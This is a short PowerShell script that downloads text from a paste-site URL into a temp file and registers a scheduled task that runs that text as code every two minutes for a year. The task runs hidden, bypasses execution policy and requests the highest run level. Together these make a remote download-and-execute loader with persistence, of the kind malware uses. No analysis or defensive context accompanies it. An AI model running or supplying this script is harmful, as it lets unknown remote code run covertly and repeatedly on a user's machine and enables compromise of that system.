# Step 1: Define the URL and the file path $url = "https://pastejustit.com/raw/44ow6fjgeo" $filePath = Join-Path $env:TEMP "sa.txt" # Step 2: Download the content from the URL and save it to the .txt file Invoke-WebRequest -Uri $url -OutFile $filePath # Step 3: Create a scheduled task to run the PowerShell script every 2 minutes $taskAction = "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"iex (Get-Content '$filePath' | Out-String)\"" $taskName = "ExecuteDownloadedFile" $trigger = New-ScheduledTaskTrigger -Daily -At (Get-Date).AddMinutes(2).ToString("HH:mm") $trigger.RepetitionInterval = New-TimeSpan -Minutes 2 $trigger.RepetitionDuration = New-TimeSpan -Days 365 # Create the scheduled task Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c $taskAction") ` -Trigger $trigger -TaskName $taskName -RunLevel Highest -User $env:USERNAME